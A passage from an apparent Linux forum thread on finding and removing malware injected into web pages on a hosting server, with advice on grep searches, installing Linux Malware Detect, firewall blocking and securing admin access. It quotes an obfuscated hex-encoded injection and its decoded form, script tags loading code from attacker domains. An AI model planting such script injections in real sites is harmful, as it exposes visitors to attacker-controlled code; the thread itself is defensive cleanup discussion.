malware injection files on my host server

Habitual · 04-27-2017, 10:39 AM

Quote:

Originally Posted by iLinux85

Code:

\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6A\x75\x72\x74\x79\x2E\x6D\x6C\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65","\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6A\x75\x72\x74\x79\x6D\x2E\x63\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E

Code:

<script type="text/javascript" src="//jurty.ml"></script>","write","<script src="//jurtym.cf"></script>

says http://ddecode.com/hexdecoder/?resul...ad22e7c0a40301

May not be helpful to the current situation, or offer any light on how they "got there".
If it were me, I'd be grepping

Code:

grep "var _0x5264" /path/to/DocumentRoot/ -Rl > /path/to/file.rpt

and examine the file.rpt file for the list of "suspect files" to further examine.
Additionally, those suspects should also contain a dual portion of "document[_0x5264" in each examined file.

Take it one DocumentRoot at a time.
Linux Maldware Detect (LMD) may be able to provide some additional information.
It has other criteria that it utilizes for analysis, and hooks nicely with clamAV,

LMD Install

Code:

cd /usr/src/
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar -xzf maldetect-current.tar.gz
cd maldetect-*
sh ./install.sh
# Done. Run
maldet -d -u && maldet -a /var/www/html/

and read the report that follows the run.

See section labeled "Configuring Linux Malware Detect"
and authoritative reference is https://www.rfxn.com/projects/linux-malware-detect/

At the firewall, If it were me, I'd issue

Code:

iptables -I INPUT -s 193.105.240.0/24 -j REJECT --reject-with icmp-host-unreachable

for the host provider of jurty.ml

vincix · 05-02-2017, 07:55 AM

@sundialsvcs
I'm impressed by your fetishism. Of course I'm being slightly ironic, but I'm also honestly impressed, of course. The question though, lingers, and that is: how do you actually replace what cpanel does? What if you have 1000 clients that need direct access to the management of sql, dns, e-mail, maybe installing wordpress, etc.? What practical solution would you actually suggest? I honestly like being paranoid about security and I like the idea of locking everything, allowing the strictly necessary access. But what do you actually do when you want provide for so many clients? Custom scripts for everything?

hydrurga · 05-02-2017, 08:29 AM

Quote:

Originally Posted by Habitual

Linux Maldware Detect (LMD) may be able to provide some additional information.
It has other criteria that it utilizes for analysis, and hooks nicely with clamAV

I hadn't heard of this. Thanks Habitual.

sundialsvcs · 05-02-2017, 08:52 AM

Quote:

Originally Posted by vincix

@sundialsvcs
I'm impressed by your fetishism. Of course I'm being slightly ironic, but I'm also honestly impressed, of course. The question though, lingers, and that is: how do you actually replace what cpanel does? What if you have 1000 clients that need direct access to the management of sql, dns, e-mail, maybe installing wordpress, etc.? What practical solution would you actually suggest? I honestly like being paranoid about security and I like the idea of locking everything, allowing the strictly necessary access. But what do you actually do when you want provide for so many clients? Custom scripts for everything?

There are a variety of ways to provision a remote server – even hundreds of them. Most of these techniques involve cloning identical copies of a server configuration that has been (hand-)built ahead of time.

For instance, Canonical's MAAS ("Metal As A Service") tool is just one of a great many tools in this class.

The most critical aspect of this – which is also the failure point of the tools that you mention – is that access to the remote administration interfaces must be secure. Even if they are based on the use of HTTP management-clients for convenience, the privileged daemons that perform the work are not based on Apache and cannot be reached from the outside world. Strong, certificate based, security, including peer-identification, is essential. To "break in" to the thing must be an impossibility. "Apache" has no power whatsoever to do anything, and the secure management interfaces cannot be reached "from web pages" on "web servers."

Security in-general is also crucial. ("ssh" won't do the trick!!) For instance, to reach the administrative interfaces of any web-sites or servers that I'm responsible for, there's only one outer-bastion defense that you must cross: OpenVPN, with tls-auth. And basically this means that you possess a non-revoked certificate, of which there are exactly three in this world. Every administrative daemon listens only to this secure "tunnel." No other path exists(!), and, unless you possess the tls-auth certificate, it is impossible to detect(!!) it. So, that's the first line of defense: a secure but secret door in a smooth and featureless wall, that only three people on Earth (at the present time) are able to discover or enter, through the use of unique credentials assigned only to them.

Habitual · 05-02-2017, 09:17 AM

Quote:

Originally Posted by hydrurga

I hadn't heard of this. Thanks Habitual.

What I don't know could fill a warehouse.
What I do know could fill an outhouse.
The thanks belong to ryan (at) rfxn.com

Peace.